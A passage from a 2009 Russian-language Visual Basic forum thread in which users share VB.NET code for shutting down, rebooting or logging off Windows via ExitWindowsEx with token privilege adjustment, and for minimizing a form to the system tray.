objComputer.Win32shutdown(12, 0)
Next

Post #: 35

RE: Программирование на VB - 2009-08-17 16:17:39.903333

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

это понятно , но я хотел с командой ExitWindowsEx (user32.dll)
нашел и нечего не понял
кроме того что приложению требовались какие то превилигийи чтобы перезапускать и отключать компютер
вот код

Public Class Form1
     Private Structure LUID
         Dim UsedPart As Integer
         Dim IgnoredForNowHigh32BitPart As Integer
     End Structure
     Private Structure TOKEN_PRIVILEGES
         Dim PrivilegeCount As Integer
         Dim TheLuid As LUID
         Dim Attributes As Integer
     End Structure
     ' SHUT DOWN AND RESTART IN VB6
     Const EWX_LogOff As Long = 0
     Const EWX_SHUTDOWN As Long = 1
     Const EWX_REBOOT As Long = 2
     Const EWX_FORCE As Long = 4
 
     Private Declare Function OpenProcessToken Lib "advapi32" (ByVal ProcessHandle As IntPtr, ByVal DesiredAccess As Integer, ByRef TokenHandle As Integer) As Integer
     Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, ByRef lpLuid As LUID) As Integer
     Private Declare Function AdjustTokenPrivileges Lib "advapi32" (ByVal TokenHandle As Integer, ByVal DisableAllPrivileges As Boolean, ByRef NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Integer, ByRef PreviousState As TOKEN_PRIVILEGES, ByRef ReturnLength As Integer) As Integer
     Private Declare Function ExitWindows _
     Lib "User32" Alias "ExitWindowsEx" _
     (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long
     Private Sub AdjustToken()
         Const TOKEN_ADJUST_PRIVILEGES As Int32 = &H20
         Const TOKEN_QUERY As Int32 = &H8
         Const SE_PRIVILEGE_ENABLED As Int32 = &H2
         Dim hdlProcessHandle As IntPtr
         Dim hdlTokenHandle As Int32
         Dim tmpLuid As LUID
         Dim tkp As TOKEN_PRIVILEGES
         Dim tkpNewButIgnored As TOKEN_PRIVILEGES
         Dim lBufferNeeded As Int32
         hdlProcessHandle = Process.GetCurrentProcess.Handle
         OpenProcessToken(hdlProcessHandle, (TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY), hdlTokenHandle)
         '
         'Get the LUID for shutdown privilege.
         LookupPrivilegeValue("", "SeShutdownPrivilege", tmpLuid)
         tkp.PrivilegeCount = 1 'One privilege to set
         tkp.TheLuid = tmpLuid
         tkp.Attributes = SE_PRIVILEGE_ENABLED
         '
         'Enable the shutdown privilege in the access token of this process.
         AdjustTokenPrivileges(hdlTokenHandle, False, tkp, Len(tkpNewButIgnored), tkpNewButIgnored, lBufferNeeded)
     End Sub
     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
         'Shut down windows
         AdjustToken()
         ExitWindows(EWX_SHUTDOWN, Nothing)
     End Sub
 
     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
         AdjustToken()
         ExitWindows(EWX_REBOOT, Nothing)
     End Sub
 
     Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
         AdjustToken()
         ExitWindows(EWX_LogOff, Nothing)
     End Sub
     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
         Me.FormBorderStyle = Windows.Forms.FormBorderStyle.FixedDialog
     End Sub
 End Class

Post #: 36

RE: Программирование на VB - 2009-08-18 20:02:31.246666

Myloads

Сообщений: 10
Оценки: 0
Присоединился: 2009-08-18 20:00:16.626666

как сделать кнопку чтоб сворачивался в трей где часы срочно нужен код!

Post #: 37

RE: Программирование на VB - 2009-08-19 01:39:01.673333

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

Попробуй так ( vb 2008 )
нажымаеш на minimize и все , а остальное СДЕЛАЙ САМ


 Public Class Form1
 
     Inherits System.Windows.Forms.Form
 
     Public WithEvents TrayIcon As NotifyIcon
     Dim shown As Boolean
 
     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
         TrayIcon = New NotifyIcon
         shown = True
         With TrayIcon
             .Visible = False
             .Icon = Me.Icon
             .Text = "Application Running..."
             .ContextMenuStrip = Me.ContextMenuStrip
         End With
     End Sub
     Private Sub Form1_SizeChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.SizeChanged
         If Shown And Me.WindowState = FormWindowState.Minimized Then
             Shown = False
             Me.ShowInTaskbar = False
             TrayIcon.Visible = True
         End If
     End Sub
     
     Private Sub ExitToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TrayIcon.Click
         TrayIcon.Visible = False
         Me.ShowInTaskbar = True
         Me.TopLevel = True
     End Sub
 End Class

Post #: 38

RE: Программирование на VB - 2009-08-19 18:26:15.876666

eLECTRON1.96

Сообщений: 17
Оценки: 0
Присоединился: 2009-08-08 15:47:13.386666

господа скоро поставлю код моей новой программы ( на vb 6.0 )

Post #: 39

RE: Программирование на VB - 2009-08-20 01:30:07.750000

_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333

Да, шестой визуалвасик - это круто. Ждём с нетерпением эталонного кода :)

Post #: 40

Страниц: [1] 2 3

Все форумы >> [Компилируемые языки] >> Программирование на VB

Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.